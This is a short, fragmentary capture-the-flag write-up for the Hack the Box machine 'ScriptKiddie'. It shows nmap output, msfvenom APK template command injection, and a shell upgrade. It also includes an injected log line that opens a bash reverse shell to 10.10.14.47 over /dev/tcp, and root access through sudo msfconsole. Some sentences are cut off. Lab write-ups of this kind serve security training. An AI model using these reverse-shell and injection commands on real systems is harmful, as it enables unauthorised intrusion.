Writeup for ScriptKiddie from Hack the Box
nmap -sV 10.10.10.226
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There is an option to generate an MSFVenom payload, using a template file.
Searchsploit for any relevant exploits:
POC code for APK template file command injection vulnerability:
Upload the produced APK file as the template.
'Upgrade' the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Exploring the folders a bit more, there is a
pwnuser, and there is a
This will split the string based on the 'space' delimiter, and keep everything from the 3rd field onwards. By adding two spaces to the front, we are splitting the string into:
"" <space> "" <space> ";/bin/bash -c ..."so that the command is retained.
echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.47/1234 0>&1' #" >> /home/kid/logs/hackers
Set up a netcat listener again. Now, we got a shell as the
pwnuser, with higher privileges.
Check the available sudo commands as the pwn user:
We are able to run
Since msfconsole is able to execute standard commands as well, simply doing
sudo msfconsolewill give us a shell as root.